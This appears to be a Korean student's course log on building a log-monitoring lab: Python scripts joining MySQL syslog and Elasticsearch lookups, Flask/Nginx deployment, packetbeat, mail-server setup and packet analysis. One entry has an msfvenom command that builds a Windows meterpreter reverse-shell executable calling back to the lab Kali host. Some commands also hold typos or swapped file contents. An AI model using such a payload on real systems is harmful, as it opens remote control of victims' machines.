로그만 분석하는게 아니라 네트워크로 들어올 때 부터 알고싶다
= 미사일을 맞은다음 분석하는게 아니라 날아올 때 알고싶다
어떻게 잡을건데?
패킷이 들어오면 에이전트가 돌아가면서 패킷 로그가 쌓인다
각각의 서버로 들어오면 129번으로 패킷 로그가 들어온다
로그가 들어오는것을 확인 했으니까 이쁘게 가공할 예정
공격의 특징을 미리 알아두면 나중에 분석할 때 편하지 않을까?
DB로그에 남아있는 ip가 ELK에 있는지 보고싶다
네트워크로 들어와야 로그가 찍히니까 네트워크패킷이 동시에 오거나 먼저 와야한다
118에서 확인한 ip를 129에서 확인해봤을 때 나오면 웹에 표시하는것이 최종 목적
DB에 접근하려면 network.host를 0.0.0.0으로 줘야 접속이 가능하다
미션
python을 이용해서 118과 129가 연결되는지 테스트 하는 코드를 만들어보자
연결이 되면 118에서 간단히 IP조회 후 elastic에서 찾을 수 있는 간단한 코드를 만들자
오후에는 코드가 완성되면 웹전환을 해보자
먼저 118번 DB에 접속이 되는지 확인해보자
dbtest1.pyimport pymysql # DB 접속 정보 설정 DB_HOST = "192.168.0.118" DB_USER = "rsyslog" # DB 사용자 아이디 입력 DB_PASSWORD = "rsyslog" # DB 비밀번호 입력 DB_NAME = "Syslog" # 연결할 데이터베이스 이름 입력 DB_PORT = 3306 # MySQL 기본 포트는 3306 (다르면 수정) try: # DB 연결 시도 (타임아웃 5초 설정) connection = pymysql.connect( host=DB_HOST, user=DB_USER, password=DB_PASSWORD, db=DB_NAME, port=DB_PORT, connect_timeout=5 ) print("연결 성공") connection.close() # 연결 확인 후 닫기 except pymysql.MySQLError as e: print("연결 실패") print(f"오류 내용: {e}") # 실패 원인 분석을 위해 에러 출력
다음은 129번(ELK)에서 정보를 불러올 수 있는지 확인해보자
dbtest2.pyfrom elasticsearch import Elasticsearch def connect_elasticsearch(): try: es = Elasticsearch(["http://192.168.0.129:9200"], request_timeout=10) info = es.info() print("Elasticsearch 연결 성공") print(info) except Exception as e: print(f"Elasticsearch 연결 실패: {e}") if __name__ == "__main__": connect_elasticsearch()
129번에 정상적으로 접근 되는것을 확인해 봤으니 둘을 합쳐보자
dbtest3.pyimport pymysql from elasticsearch import Elasticsearch # 1. DB (MySQL) 접속 정보 설정 DB_HOST = "192.168.0.118" DB_USER = "rsyslog" # 실제 DB 사용자 아이디로 변경 DB_PASSWORD = "rsyslog" # 실제 DB 비밀번호로 변경 DB_NAME = "Syslog" # 실제 데이터베이스 이름으로 변경 DB_PORT = 3306 # 2. Elasticsearch 접속 정보 설정 ES_HOST = "http://192.168.0.129:9200" def test_mysql_connection(): print("=== [1] MySQL 연결 테스트 시작 ===") try: connection = pymysql.connect( host=DB_HOST, user=DB_USER, password=DB_PASSWORD, db=DB_NAME, port=DB_PORT, connect_timeout=5 ) print("▶ MySQL 연결 성공") connection.close() except pymysql.MySQLError as e: print(f"▶ MySQL 연결 실패: {e}") def test_elasticsearch_connection(): print("\n=== [2] Elasticsearch 연결 테스트 시작 ===") try: es = Elasticsearch([ES_HOST], request_timeout=10) info = es.info() print("▶ Elasticsearch 연결 성공") print(f"서버 정보 요약: {info.get('tagline', '정보 없음')}") except Exception as e: print(f"▶ Elasticsearch 연결 실패: {e}") if __name__ == "__main__": print("======= 통합 인프라 연결 점검을 시작합니다 =======") test_mysql_connection() test_elasticsearch_connection() print("==================================================")
elastic에서 조회하고 DB에서 로그를 찾는 기능을 가진
dbtest4.pyfrom collections import Counter import pymysql from elasticsearch import Elasticsearch import warnings import re # ⭐ 포트 번호 제거를 위한 정규표현식 라이브러리 추가 warnings.filterwarnings("ignore") # 1. DB (MySQL) 접속 정보 설정 DB_HOST = "192.168.0.118" DB_USER = "rsyslog" DB_PASSWORD = "rsyslog" DB_NAME = "Syslog" DB_PORT = 3306 # 2. Elasticsearch 접속 정보 설정 ES_HOST = "http://192.168.0.129:9200" INDEX_NAME = "packetbeat-7.17.29-2026.06.30-000001*" def search_mysql_syslog(target_ip): print(f"\n=== [3] MySQL Syslog에서 IP [{target_ip}] 크로스 체크 시작 ===") try: connection = pymysql.connect( host=DB_HOST, user=DB_USER, password=DB_PASSWORD, database=DB_NAME, port=DB_PORT, connect_timeout=5, cursorclass=pymysql.cursors.DictCursor ) with connection.cursor() as cursor: query = "SELECT FromHost, Message, ReceivedAt FROM SystemEvents WHERE Message LIKE %s;" cursor.execute(query, (f"%{target_ip}%",)) rows = cursor.fetchall() print(f"▶ MySQL 매칭된 Syslog 수: {len(rows)}건 (포트 통합 집계 처리)") print("-" * 90) if not rows: print("▶ MySQL에서 해당 IP를 포함한 Message 로그가 존재하지 않습니다.") connection.close() return mysql_stats = {} # 💡 포트 번호를 찾아내기 위한 정규표현식 패턴 # 문장 중 'port 숫자가 연속으로 나오는 부분'을 찾아냅니다. (예: port 57280) port_pattern = re.compile(r'port \d+') for row in rows: msg = row.get('Message', '').strip() from_host = row.get('FromHost', 'Unknown') received_at = row.get('ReceivedAt') time_str = received_at.strftime('%Y-%m-%d %H:%M:%S') if received_at else '시간 정보 없음' # ⭐ [핵심] 'port 57280' 같은 부분을 전부 'port [PORT]'라는 가상의 고정 텍스트로 치환합니다. cleaned_msg = port_pattern.sub('port [PORT]', msg) if cleaned_msg not in mysql_stats: mysql_stats[cleaned_msg] = { "count": 1, "latest_time": time_str, "from_host": from_host } else: mysql_stats[cleaned_msg]["count"] += 1 if time_str > mysql_stats[cleaned_msg]["latest_time"]: mysql_stats[cleaned_msg]["latest_time"] = time_str sorted_mysql = sorted( mysql_stats.items(), key=lambda x: (x[1]['latest_time'], x[1]['count']), reverse=True ) # 출력 부분 for msg, stat in sorted_mysql: print(f"FromHost {stat['from_host']} | {stat['count']}건 (최근: {stat['latest_time']}) | {msg}") connection.close() except pymysql.MySQLError as e: print(f"▶ MySQL Syslog 조회 실패: {e}") def search_target_ip(target_ip): print(f"\n=== [2] Elasticsearch에서 출발지 IP [{target_ip}] 검색 및 통계 시작 ===") try: es = Elasticsearch([ES_HOST], request_timeout=30) query = { "query": {"match": {"source.ip": target_ip}}, "_source": ["source.ip", "destination.ip", "@timestamp"], "size": 1000, } response = es.search(index=INDEX_NAME, body=query, scroll="1m") scroll_id = response['_scroll_id'] hits = response['hits']['hits'] total_found = response['hits']['total']['value'] print(f"▶ 총 매칭된 로그 수: {total_found}건") print("-" * 75) count = 0 dest_counter = Counter() dest_latest_time = {} while len(hits) > 0: for doc in hits: _source = doc.get("_source", {}) timestamp = _source.get("@timestamp", "") dest_dict = _source.get("destination", {}) dest_ip = ( dest_dict.get("ip") if isinstance(dest_dict, dict) else _source.get("destination.ip") ) if dest_ip: dest_counter[dest_ip] += 1 if dest_ip not in dest_latest_time or timestamp > dest_latest_time[dest_ip]: dest_latest_time[dest_ip] = timestamp response = es.scroll(scroll_id=scroll_id, scroll="1m") scroll_id = response["_scroll_id"] hits = response["hits"]["hits"] response = es.search(index=INDEX_NAME, body=query, scroll="1m") scroll_id = response['_scroll_id'] hits = response['hits']['hits'] while len(hits) > 0: for doc in hits: count += 1 _source = doc.get("_source", {}) timestamp = _source.get("@timestamp", "시간 정보 없음") source_dict = _source.get("source", {}) src_ip = ( source_dict.get("ip") if isinstance(source_dict, dict) else _source.get("source.ip") ) dest_dict = _source.get("destination", {}) dest_ip = ( dest_dict.get("ip") if isinstance(dest_dict, dict) else _source.get("destination.ip") ) total_dest_count = dest_counter.get(dest_ip, 0) print(f"[{count}] 시간: {timestamp} | {src_ip} -> {dest_ip}") response = es.scroll(scroll_id=scroll_id, scroll="1m") scroll_id = response["_scroll_id"] hits = response["hits"]["hits"] print("-" * 75) print(f"▶ 총 {count}개의 로그를 모두 성공적으로 추출했습니다.") # ==================================================================== # ⭐ [수정] 다중 조건 정렬 로직 적용 # 1순위: 최근 접속시간(latest_time) 내림차순 (최신 날짜가 위로) # 2순위: 접속 건수(count) 내림차순 (많을수록 위로) # ==================================================================== sorted_dest = sorted( dest_counter.items(), key=lambda x: (dest_latest_time.get(x[0], ""), x[1]), reverse=True ) print("\n📊 [최종 요약] 목적지별 통계 리포트 (최신 날짜 -> 건수 많은 순)") print("-" * 90) for ip, num in sorted_dest: latest_time = dest_latest_time.get(ip, "정보 없음") print(f"📍 목적지: {ip:<15} | 총 접속: {num:>4}건 | 최근 접속시간: {latest_time}") print("-" * 90) except Exception as e: print(f"▶ Elasticsearch IP 검색 실패: {e}") if __name__ == "__main__": print("======= 특정 IP 통합 로그 분석 시스템 =======") user_input_ip = input( "🔍 조회할 대상 IP를 입력하세요 (예: 192.168.0.205): " ).strip() if not user_input_ip: print("❌ IP 주소가 입력되지 않아 프로그램을 종료합니다.") else: search_target_ip(user_input_ip) search_mysql_syslog(user_input_ip) print("\n==================================================")
Flask를 이용한 모니터링 시스템 기반 잡기
웹전환
모니터링 시스템
Ngnix+Gunicorn+Flask
Ngnix : 안정적인 웹 서버
Flask : 파이썬 웹 프레임워크
Gunicorn : WSGI
MVC패턴을 이해하는자 프레임워크를 지배할 것이다!
Step0
개인서버 설치 초기로 스냅샷 되돌리기
개인서버(192.168.0.20) 접속
Step1
Ngnix 설치
ip addr
cat /etc/*release*
date
sudo ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime
sudo timedatectl set-timezone Asia/Seoul
sudo apt update
sudo hostnamectl set-hostname IP020
sduo apt -y isntall net-tools
sduo apt -y isntall lrzsz
sduo apt -y isntall unzip
sudo apt -y install nginx
netstat -ant | grep 80
웹 서버 열리는지 확인
pwd
cd ~ == cd /home/master
sudo apt -y install python3-venv
python3 -m venv mysite
cd mysite
cd bin
. activate
pip install wheel
pip install flask
pip install flask-migrate
pip install flask-wtf
pip install email_validator
pip install gunicorn (*)
Step2
Flask 설치
flask = M(Model)T(Templets)V(View)다
(flask)View == (CI4)Controller, (flask)Templets == (CI4)View
cd ~
mkdir projects
cd projects
mkdir mysite
cd mysite
mkdir flask
touch config.py
cd flask
touch __init__.py
touch models.py
touch forms.py
mkdir views
cd views
touch main_views.py
cd ..
mkdir static
cd static
touch style.css
cd ..
mkdir templates
cd templates
touch index.html
cd ~
cd projects/mysite
touch app.py
touch monitor.py
nano app.pyfrom flask import Flask app = Flask(__name__) @app.route('/') def index(): return 'Hello, index!' flask run * Debug mode: off WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Running on http://127.0.0.1:5000
192.168.0.20:5000
외부에서 접속이 되지 않는다
flask run --host=0.0.0.0
명령어를 살짝 수정해서 다시 접속해보면
Hello index가 보인다
Step3 환경 만들기
cd ~
sudo nano .profilealias mysite='export FLASK_APP=monitor;export FLASK_DEBUG=true;export APP_CONFIG_FILE=/home/master/projects/mysite/config/production.py;cd ~/projects/mysite/flask;. ~/mysite/bin/activate'
source .profile
mysite
이젠 mysite만 입력해도 가상환경으로 들어와진다
Try 'flask run --help' for help.
Error: Could not import 'flask.monitor'.
flask run을 쳐도 flask가 작동하지 않는다
sudo nano .profile
넣어준 코드를 다시 주석처리 해준다
flask run
flask가 동작하지 않는다
설정 파일이 monitor를 찾기 때문
cd ~
cd projects/mysite
env
unset FLASK_APP
초기화 해주고 다시 실행하면
flask run
실행이 된다
Step4
Ngnix+Flask 연동
:80으로 접속하면 Ngnix가 반응하고 :5000으로 접속하면 flask가 반응한다
나는 :80으로 접속해도 Flask가 반응하게 하고 싶다
지금부터 연결을 시켜보자
cd /etc/ngnix/sites-available/
nano mysiteserver { listen 80; server_name 192.168.0.20; location = /favicon.ico { access_log off; log_not_found off; } location /static { alias /home/master/projects/mysite/flask/monitor/static; } location / { include proxy_params; proxy_pass http://unix:/tmp/mysite.sock; } }
cd ~
nano mysite.env
FLASK_APP=monitor
FLASK_DEBUG=true
APP_CONFIG_FILE=/home/master/projects/mysite/flask/config/production.py
cd /etc/systemd/
cd system
sudo nano mysite.service[Unit] Description=gunicorn demon After=network.target [Service] User=master Group=master WorkingDirectory=/home/master/projects/mysite/flask EnvironmentFile=/home/master/mysite.env ExecStart=/home/master/mysite/bin/gunicorn \ --workers 2 \ --bind unix:/tmp/mysite.sock \ "monitor:create_app()" [Install] WantedBy=multi-user.target
오늘 한 일
Elastic으로 네트워크 패킷 확인하기
Flask를 활용한 로그시스템 기반 잡기
내일 할 일
Ngnix, Gunicorn, Flask 연결
2026-07-07
Nginx와 Flask 연결 및 구조 확인
›
서버 점검
학원에서 확인해보니 백업이 제대로 되지 않고있었다
에러를 확인해보니 session을 압축하지 못한다
제외 옵션을 추가해주자
tar --exclude="$SOURCE_DIR/ci4/writable/session/*" -czf "$BACKUP_FILE" "$SOURCE_DIR"
다시 백업을 실행해보면 정상적으로 작동하는 것을 알 수 있다
Nginx와 Flask 연결하기
개인서버에서 Flask 연결작업을 마저 하자
cd ~
nano .profile에 추가
alias mysite='export FLASK_APP=monitor;export FLASK_DEBUG=true;export APP_CONFIG_FILE=/home/master/projects/mysite/flask/config/production.py; cd ~/projects/mysite/flask;. ~/mysite/bin/activate'
source .profile
이제 mysite를 입력하면 가상환경으로 들어가진다
프로젝트 구조를 수정해주자
왜? 나중에 배포하기 편하게 하기 위해서
구조를 이해 했으면 이제 완성된걸 받아서 넣자
unzip flask.zip
cd ~/projects/mysite/flask
gunicorn --bind unix:/tmp/mysite.sock "monitor:create_app()"
하면 아래와 같은 에러가 뜬다
RuntimeError: The environment variable 'APP_CONFIG_FILE' is not set and as such configuration could not be loaded. Set this variable and make it point to a configuration file
The environment variable 'APP_CONFIG_FILE' is not set and as such configuration could not be loaded. Set this variable and make it point to a configuration file
실행 위치를 mysite 실행한 곳으로 바꿔주면 에러가 뜨지 않는다
만약 아래와 같은 에러가 뜬다면
FileNotFoundError: [Errno 2] Unable to load configuration file (No such file or directory): '/home/master/projects/mysite/config/production.py'
[Errno 2] Unable to load configuration file (No such file or directory): '/home/master/projects/mysite/config/production.py'
/home/master에 있는 .profile 설정이 잘못된 것이다
만약 아래와 같은 에러가 뜬다면
ModuleNotFoundError: No module named 'requests'
No module named 'requests'
모듈이 설치되지 않은것이다
pip install 모듈
에러들을 다 해결하고 다시 실행해주면
gunicorn --bind unix:/tmp/mysite.sock "monitor:create_app()"
사이트가 올라간다
근데 nginx화면이 나오는데? 난 Flask화면 보고싶은 거였는데
아래 설정을 안해줘서 그런다
sudo ln -sf /etc/nginx/sites-available/mysite /etc/nginx/sites-enabled/mysite
sudo systemctl restart nginx
sudo systemctl restart mysite
이렇게 해주면 flask웹이 보인다
세팅 복습하기
미션! 다시 세팅해보기!
Step0 (기본 설정)
ip addr
date
sudo ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime
sudo hostnamectl set-hostname IP020
sudo reboot
Step1 (세팅 시작)
sudo apt update
sudo apt -y upgrade
sudo apt -y install net-tools
sudo apt -y install lrzsz
sudo apt -y install unzip
sudo apt -y install nginx
sudo apt -y install net-tools
cd ~
sudo apt -y install python3-venv
python3 -m venv mysite
cd mysite
cd bin
. activate
cd ~
pip install wheel
pip install flask
pip install flask-migrate
pip install flask-wtf
pip install email_validator
pip install gunicorn
mkdir projects
cd projects
mkdir mysite
cd mysite
mkdir flask
cd flask
wget "http://virtual.izerone.co.kr:8101/~w120211194/data/flask.zip"
unzip flask.zip
cd ~
nano .profile
alias mysite='export FLASK_APP=monitor;export FLASK_DEBUG=true;export APP_CONFIG_FILE=/home/master/projects/mysite/flask/config/production.py;cd ~/projects/mysite/flask;. ~/mysite/bin/activate'
source .profile
mysite
cd /etc/nginx/
cd sites-available/
sudo nano mysiteserver { listen 80; server_name 192.168.0.20; location = /favicon.ico { access_log off; log_not_found off; } location /static { alias /home/master/projects/mysite/flask/monitor/static; } location / { include proxy_params; proxy_pass http://unix:/tmp/mysite.sock; } }
cd ~
nano mysite.envFLASK_APP=monitor FLASK_DEBUG=true APP_CONFIG_FILE=/home/master/projects/mysite/flask/config/production.py
cd /etc/systemd/system
sudo nano mysite.service[Unit] Description=gunicorn demon After=network.target [Service] User=master Group=master WorkingDirectory=/home/master/projects/mysite/flask EnvironmentFile=/home/master/mysite.env ExecStart=/home/master/mysite/bin/gunicorn \ --workers 2 \ --bind unix:/tmp/mysite.sock \ "monitor:create_app()" [Install] WantedBy=multi-user.target
mysite
sudo ln -sf /etc/nginx/sites-available/mysite /etc/nginx/sites-enabled/mysite
sudo systemctl restart mysite
sudo systemctl restart nginx
mysite
gunicorn --bind unix:/tmp/mysite.sock "monitor:create_app()"
sudo nano /home/master/projects/mysite/flask/monitor/views/main.py
import mysql 주석처리
pip install pymysql
pip install requests
gunicorn --bind unix:/tmp/mysite.sock "monitor:create_app()"
chmod o+x /home/master
chmod o+x /home/master/projects
chmod o+x /home/master/projects/mysite
chmod o+x /home/master/projects/mysite/flask
chmod o+x /home/master/projects/mysite/flask/monitor
까지 해주면 볼만한 웹 페이지가 뜬다
sudo apt -y install vsftpd
sudo systemctl enable nginx
sudo systemctl enable mysite
sudo reboot
까지 해주면 이제 시스템을 시작할 때마다 일일이 켜주지 않아도 된다
Flask 구조 확인
FTP로 접속해서 파일을 분석해보자
views > monitor.py
@bp.route('/')
어 이거 어디서 많이 본거같은데?
CI4에서도 있었다 Router 파일로
templates 밑에 monitor 경로 폴더를 만들어주고 그 밑에 index.html을 만들어 주면?
웹에 192.168.0.20/monitor 만 입력해줘도 index.html이 떠야하는데 안뜬다
Flask는 html은 즉각 갱신해 주지만 .py는 처음 불러오고 갱신하지 않기 때문
monitor.py의 함수를 수정해주고 콘솔로 가서 재시작 해주자
sudo systemctl restart nginx
sudo systemctl restart mysite
다시 웹에서 접속해보면?
정상적으로 index.html이 보인다
매번 콘솔에서 재시작 해주기 너무 귀찮다
자동으로 갱신되도록 하자
sudo nano /etc/systemd/system/mysite.service
ExecStart=/home/master/mysite/bin/gunicorn --workers 2 --bind unix:/tmp/mysite.sock --reload "monitor:create_app()"
sudo pkill -f gunicorn
sudo systemctl daemon-reload
sudo systemctl restart mysite
ps aux | grep gunicorn
명령어로 확인해 봤을때 --reload가 붙어있으면 성공
gunicorn --bind unix:/tmp/mysite.sock "monitor:create_app()"
이걸 입력해주면 다시 프로세스가 꼬이기 때문에 봉인해두면 된다
어짜피 시스템 키면 자동으로 nginx가 켜지기 때문에 쓸 일도 없겠지만
미션!
저번에 만든 Elastic Search와 DB를 이용한 로그 분석기를 웹에 띄워라!
오늘 한 일
Nginx와 Flask 연결하기
Flask 구조 파악
내일 할 일
새로운 네트워크에 환경 구성하기
2026-07-08
Syslog와 ElasticSearch 세팅
›
서버 점검
아침에 접속해보니 monitor.py가 수정되어 있었다
base.html도 같이
log를 확인해보니 ftp접속은 나밖에 없다
모르겠다
네트워크망 구성하기
일단 새 GNS 프로젝트를 만들자
20260708006.gns
외부 ─── UTM ── 관리자
│
│
서버 ── 스위치 ── 모니터
Elastic과 Syslog설치
Monitor(172.16.0.1)에 설치
sudo apt update
sudo apt -y install rsyslog
sudo nano /etc/rsyslog.conf
# provides TCP syslog reception
module(load="imtcp")
input(type="imtcp" port="514")
수정 후 저장
sudo systemctl restart rsyslog
sudo systemctl enable rsyslog
netstat -ant | grep 514
172.16.0.1 (packetbeat) -> 172.16.0.2 (ElasticSearch)
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list
sudo apt update
sudo apt install elasticsearch -y
sudo systemctl enable elasticsearch
sudo su
cd /etc/elasticsearch/
nano elasticsearch.yml
# ---------------------------------- Network -------------------------------->
#
# By default Elasticsearch is only accessible on localhost. Set a different
# address here to expose this node on the network:
#
network.host: 0.0.0.0
discovery.type: single-node
systemctl restart elasticsearch
Server와 Monitor 연결하기
서버와 모니터를 :9200으로 연결하려면?
packetbeat는 이미 설치되어 있음
서버(172.16.0.1)에서 작업
sudo nano /etc/packetbeat/packetbeat.yml- type: ssh ports: [22] - type: telnet ports: [23]
localhost를 172.16.0.2:9200으로 변경
ssh, telnet 추가
을 추가
sudo systemctl restart packetbeat
sudo systemctl enable packetbeat
cd /etc/rsyslog.d
개인이 가지고 있는 r.conf 업로드 해서 사용
auth ip를 172.16.0.2:514 로 변경
방화벽을 다 내려주고
sudo systemctl restart packatbeat
sudo systemctl enable packatbeat
해주면 514번(syslog)와 9200번(packatbeat)가 제대로 붙는다
Syslog를 이용한 모니터에서 로그 확인하기
네트워크 구성이 완료되었으면 드디어 실습시간!
칼리(192.168.0.3)에서 ssh master@172.16.0.1로 접속
ssh 접속이 되면 monitor에서 확인해보자
cd /var/log
tail -f auth.log
로그가 보이기 시작하면 칼리에서 ssh localhost로 접속시도를 해보자
의도적으로 pass를 틀려보면?
Failed password라고 보인다
pass를 정확히 입력하면?
Accepted password라고 뜬다
나는 kali(192.168.0.3)에서 서버(172.16.0.1)이랑 통신했는데
어떻게 모니터(172.16.0.2)에서 볼 수 있는거냐?
syslog 덕분이다
Elastic을 이용한 패킷 확인
kali에서 웹으로 접속을 시도해보자
http://172.16.0.1
auth.log에서 확인해 보면? 보이지 않는다
네트워크를 사용해서 통신해면 분명 패킷이 오고갈텐데 그건 어디서 확인하냐?
ElasticSearch에서 확인한다
curl -X GET "http://localhost:9200"{ "name" : "IP020", "cluster_name" : "elasticsearch", "cluster_uuid" : "cC5CcjG2S2GJNyZgrCz3CQ", "version" : { "number" : "7.17.29", "build_flavor" : "default", "build_type" : "deb", "build_hash" : "580aff1a0064ce4c93293aaab6fcc55e22c10d1c", "build_date" : "2025-06-19T01:37:57.847711500Z", "build_snapshot" : false, "lucene_version" : "8.11.3", "minimum_wire_compatibility_version" : "6.8.0", "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" }
오늘은 늦어서 확인은 못했지만 패킷은 정상적으로 쌓이고있다
내일은 여러가지 점검을 해볼예정
로그가 어떻게 남고 패킷이 어떻게 남는지
오늘 한 일
서버와 모니터 Syslog 연결
서버와 모니터 Elastic 연결
내일 할 일
Elastic에 저장된 패킷 확인
그 외 여러가지 점검
2026-07-09
프로토콜 알아보기와 메일서버 설치
›
프로토콜 알아보기
GNS를 이용하여 네트워크를 지지고 볶자
nmap -sn 172.16.0.0/24Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-08 21:21 -0400 Nmap scan report for 172.16.0.1 Host is up (0.0055s latency). Nmap scan report for 172.16.0.2 Host is up (0.0034s latency). Nmap scan report for 172.16.0.254 Host is up (0.0024s latency). Nmap done: 256 IP addresses (3 hosts up) scanned in 4.60 seconds
ip만 있는게 아니라 프로토콜도 있다
오늘은 이 프로토콜을 중점적으로 다뤄볼 예정
서버 1에 생성
nano Server.pyimport socket HOST = "0.0.0.0" PORT = 4444 def main(): print("start program") server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((HOST,PORT)) server.listen(5) while True: cs,ca = server.accept() print(cs,ca) while True: data = cs.recv(1024) if not data: print("End") break msg = data.decode("utf-8") print(msg) response=f"{msg}" cs.send(response.encode("utf-8")) cs.close() if __name__ == "__main__": main()
kali에 생성
nano Client.pyimport socket HOST="172.16.0.1" PORT=4444 def main(): print("start progran") client=socket.socket() client.connect((HOST,PORT)) print("connected") try: while True: msg=input("msg:") if msg.lower() == "exit": break client.send(msg.encode("utf-8")) response=client.recv(1024) print(response.decode("utf-8")) finally: client.close() print("end") if __name__ == "__main__": main()
패킷 분석
와이어 샤크로 분석해보니
TCP패킷이 보인다
먼저 가는 패킷을 한번 확인해보자
kali에 내장된 와이어샤크로 캡쳐 시작
kali에서 서버로 1을 보내보면
DATA에 31이 찍힌다
그럼 2를 보내면?
DATA에 32가 찍힌다
나는 1이랑 2를 보냈는데 왜 31,32가 찍히지?
그럼 a를 보내면?
DATA에 61이 찍힌다
뭔데? ascii code다
미션!
kali에서 서버로 파일을 보내보자
어떻게? Server.py와 Client.py를 확장시켜서
Server.pyimport os import socket HOST = "172.16.0.1" PORT = 4444 def main(): print("start program") client = socket.socket() client.connect((HOST, PORT)) print("connected to server") try: filepath = input("보낼 파일 경로 입력 (예: test.txt 또는 /tmp/img.png): ") if not os.path.exists(filepath): print("파일이 존재하지 않습니다.") return filename = os.path.basename(filepath) filesize = os.stat(filepath).st_size metadata = f"{filename}:{filesize}" client.send(metadata.encode("utf-8")) ack = client.recv(1024).decode("utf-8") if ack == "READY": print(f"파일 전송 시작: {filename} ({filesize} bytes)") with open(filepath, "rb") as f: while True: bytes_read = f.read(1024) if not bytes_read: break client.sendall(bytes_read) print("파일 전송 완료!") response = client.recv(1024).decode("utf-8") print(f"서버 응답: {response}") except Exception as e: print(f"에러 발생: {e}") finally: client.close() print("end") if __name__ == "__main__": main()
Client.pyimport os import socket HOST = "0.0.0.0" PORT = 4444 def main(): print("start program") server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((HOST, PORT)) server.listen(5) try: while True: cs, ca = server.accept() print(f"[+] 연결됨: {ca}") try: metadata = cs.recv(1024).decode("utf-8") if not metadata: continue filename, filesize = metadata.split(":") filesize = int(filesize) print(f"받을 파일 정보 - 이름: {filename}, 크기: {filesize} bytes") cs.send("READY".encode("utf-8")) received_bytes = 0 save_path = f"download_{filename}" with open(save_path, "wb") as f: while received_bytes < filesize: remaining = filesize - received_bytes data = cs.recv(min(1024, remaining)) if not data: break f.write(data) received_bytes += len(data) print( f"[!] 파일 수신 완료! 저장 위치: {os.path.abspath(save_path)}" ) cs.send( f"Successfully received {filename}".encode("utf-8") ) except Exception as e: print(f"통신 중 에러 발생: {e}") finally: cs.close() print(f"[-] 연결 종료: {ca}\n") except KeyboardInterrupt: print("\n[!] 서버를 종료합니다.") finally: server.close() if __name__ == "__main__": main()
와이어샤크에서 패킷을 확인해보면 data를 전송하기전에
먼저 SYN > SYN,ACK > ACK가 오고 간다
이것이 그 유명한 3Way Handshake다
중요한걸 넘겨야 할때는 TCP (안정적임)
한 두개정도 사라져도 되면 UDP
FTP는 TCP, DNS는 UDP
ping을 보내면 ICMP가 잡힌다
nslookup을 보내면 DNS가 잡힌다
DNS는 가까운 거리는 UDP 먼 거리는 TCP가 잡힌다
토막 지식
Router는 IP를 기반으로 차단하고
Switch는 MAC을 기반으로 차단한다
kali에서 악성코드를 만들어서 공격하기
usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 -f exe -o payload.exe
일단은 만들기만
메일서버 세팅
서버(172.16.0.1)에 이메일 설치하기
postfix > /etc/postfix/main.cf
sendmail > /etc/mail
Sendmail 설치와 설정
Sendmail(보내는 메일서버) 세팅
sudo nano /etc/hosts
127.16.0.1 IP001.victim.kr IP001 #변경
sudo nano /etc/mail/local-host-names
IP001.victim.kr #변경
sudo nano /etc/mail/sendmail.cf
Cwlocalhost 부분을 Cwvictim.kr로 변경
O DaemonPortOptions=Family=inet, Name=MTA-v4, Port=smtp #Addr=127.0.0.1을 삭제
O DaemonPortOptions=Family=inet, Name=MSP-v4, Port=submission, M=Ea #Addr=127.0.0.1을 삭제
sudo nano /etc/mail/access
192.168.0 RELAY #추가
victim.kr RELAY #추가
sudo su
makemap hash /etc/mail/access < /etc/mail/access
exit
Dovecot 설치와 설정
Dovecot(받는 메일서버) 세팅
sudo nano /etc/dovecot/dovecot.conf
listen = *, :: #주석해제
base_dir = /var/run/dovecot/ #주석해제
disable_plaintext_auth = no #추가
(Ubuntu에는 주석 처리 되어있고 Kali에는 없어서 추가하면 구문 오류남)
sudo nano /etc/dovecot/conf.d/10-mail.conf
mail_access_groups = mail #주석 해제
lock_method = fcntl #주석 해제
sudo systemctl restart sendmail
sudo systemctl restart dovecot
sudo systemctl enable sendmail
sudo systemctl enable dovecot
네임 서버 설정
sudo nano /etc/bind/victim.kr.zone
@ IN MX 10 IP001.victim.kr #추가
IP001 IN A 172.16.0.1 #추가
mail IN A 125.242.95.2 #추가
메일 서버로 연결
kali에서 evolution, thunderbird 검색
없으면 설치
관리자는 postfix나 sendmail 필요 없이 evolution, thunderbird를 사용하여 접속
evolution
new > new account
next >
master
master@IP001.victim.kr
next >
IP001.victim.kr:143
master
암호화 없음 password
next >
next >
IP001.victim.kr:25
암호화 없음 사용자 이름 master로 변경
next >
조금만 기다리면 메일이 연결된다
오늘 한 일
Dovecot,Sendmail 설치 및 설정
DNS 지지고 볶기
프로토콜 알아보기
내일 할 일
악성코드 심어서 보내기
바이러스 탐지기 사용하기
이메일 방화벽 알아보기
2026-07-10
외부와 연결되는 Email 구축하기
›
네트워크 구성하기
네트워크 구성하기
#R1
conf t
int fa 0/0
ip address 125.246.95.254 255.255.255.0
no shut
exit
int se 1/0
ip addr 1.1.1.1 255.255.255.252
no shutdown
end
conf t
router ospf 1
router-id 1.1.1.1
network 125.246.95.0 0.0.0.255 area 0
network 1.1.1.0 0.0.0.3 area 0
#R2
conf t
int fa 0/0
ip address 100.100.100.254 255.255.255.0
no shut
exit
int se 1/1
ip addr 1.1.1.2 255.255.255.252
no shutdown
end
conf t
router ospf 1
router-id 2.2.2.2
network 100.100.100.0 0.0.0.255 area 0
network 1.1.1.0 0.0.0.3 area 0
Kali에서 Server로 이메일 보내기
네트워크 구성이 완료되었으면 email 보내보기
먼저 nslookup victim.kr로 보내보면 조회가 안된다
UTM이 172.16.0.2로 보내고 있기 때문
내 서버는 172.16.0.1인데?
바꿔주자
정의 및 사용자 > 네트워크 정의
에서 172.16.0.2로 되어있는 MainServer를 172.16.0.1로 바꿔주면 된다
이제 Evolution으로 Email을 보내보면?
메일이 가지 않는다
nslookup IP001.victim.kr
Address: 172.16.0.1f
우리는 125.246.95.152로 가야하는데?
nslookup IP001.victim.kr
